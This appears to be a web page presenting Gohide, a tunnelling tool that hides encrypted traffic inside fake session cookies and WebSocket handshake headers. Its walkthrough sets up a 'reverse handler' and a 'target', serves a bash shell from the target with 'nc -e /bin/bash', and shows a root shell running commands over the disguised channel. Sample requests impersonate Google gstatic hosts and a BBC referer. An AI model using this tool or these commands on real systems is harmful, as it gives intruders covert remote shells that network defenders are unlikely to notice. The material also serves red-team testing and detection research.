-->

Gohide - Tunnel Port To Port Traffic Over An Obfuscated Channel With AES-GCM Encryption


Tunnel port to port traffic via an obfuscated channel with AES-GCM encryption.

Obfuscation Modes

  • Session Cookie HTTP GET (http-client)
  • Set-Cookie Session Cookie HTTP/2 200 OK (http-server)
  • WebSocket Handshake "Sec-WebSocket-Key" (websocket-client)
  • WebSocket Handshake "Sec-WebSocket-Accept" (websocket-server)
  • No obfuscation, just use AES-GCM encrypted messages (none)

AES-GCM is enabled by default for each of the options above.


Usage

[email protected]:/opt/gohide-dev# ./gohide -hUsage of ./gohide:  -f string    	listen fake server -r x.x.x.x:xxxx (ip/domain:port) (default "0.0.0.0:8081")  -key openssl passwd -1 -salt ok | md5sum    	aes encryption secret: use '-k openssl passwd -1 -salt ok | md5sum' to derive key from password (default "5fe10ae58c5ad02a6113305f4e702d07")  -l string    	listen port forward -l x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:8080")  -m string    	obfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none (default "none")  -pem string    	path to .pem for TLS encryption mode: default = use hardcoded key pair 'CN:target.com', none = plaintext mode (default "default")  -r string    	forward to remote fake server -r x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:9999")

Scenario

Box A - Reverse Handler.

[email protected]:/opt/gohide# ./gohide -f 0.0.0.0:8081 -l 127.0.0.1:8080 -r target.com:9091 -m websocket-clientLocal Port Forward Listening: 127.0.0.1:8080FakeSrv Listening: 0.0.0.0:8081

Box B - Target.

[email protected]:/opt/gohide# ./gohide -f 0.0.0.0:9091 -l 127.0.0.1:9090 -r target.com:8081 -m websocket-serverLocal Port Forward Listening: 127.0.0.1:9090FakeSrv Listening: 0.0.0.0:9091

Note: /etc/hosts "127.0.0.1 target.com"

Box B - Netcat /bin/bash

[email protected]:/var/tmp# nc -e /bin/bash 127.0.0.1 9090

Box A - Netcat client

[email protected]:/opt/gohide# nc -v 127.0.0.1 8080localhost [127.0.0.1] 8080 (http-alt) openiduid=0(root) gid=0(root) groups=0(root)uname -aLinux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linuxnetstat -pantwu Active Internet connections (servers and established)tcp        0      0 127.0.0.1:39684         127.0.0.1:8081          ESTABLISHED 14334/./gohide      

Obfuscation Samples

websocket-client (Box A to Box B)

  • Sec-WebSocket-Key contains AES-GCM encrypted content e.g. "uname -a".
GET /news/api/latest HTTP/1.1Host: cdn-tb0.gstatic.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like GeckoUpgrade: websocketConnection: UpgradeSec-WebSocket-Key: 6jZS+0Wg1IP3n33RievbomIuvh5ZdNMPjVowXm62Sec-WebSocket-Version: 13

websocket-server (Box B to Box A)

  • Sec-WebSocket-Accept contains AES-GCM encrypted output.
HTTP/1.1 101 Switching ProtocolsUpgrade: websocketConnection: UpgradeSec-WebSocket-Accept: URrP5l0Z3NIHXi+isjuIyTSKfoP60Vw5d2gqcmI=

http-client

  • Session cookie header contains AES-GCM encrypted content
GET /news/api/latest HTTP/1.1Host: cdn-tbn0.gstatic.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like GeckoAccept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brReferer: http://www.bbc.co.uk/Connection: keep-aliveCookie: Session=R7IJ8y/EBgCanTo6fc0fxhNVDA27PFXYberJNW29; Secure; HttpOnly

http-server

  • Set-Cookie header contains AES-GCM encrypted content.
HTTP/2.0 200 OKcontent-encoding: gzipcontent-type: text/html; charset=utf-8pragma: no-cacheserver: nginxx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockcache-control: no-cache, no-store, must-revalidateexpires: Thu, 21 Nov 2019 01:07:15 GMTdate: Thu, 21 Nov 2019 01:07:15 GMTcontent-length: 30330vary: Accept-EncodingX-Firefox-Spdy: h2Set-Cookie: Session=gWMnQhh+1vkllaOxueOXx9/rLkpf3cmh5uUCmHhy; Secure; Path=/; HttpOnly

none

8JWxXufVora2FNa/8m2Vnub6oiA2raV4Q5tUELJA


Future

  • Fix up error handling.

Enjoy~



Disqus Comments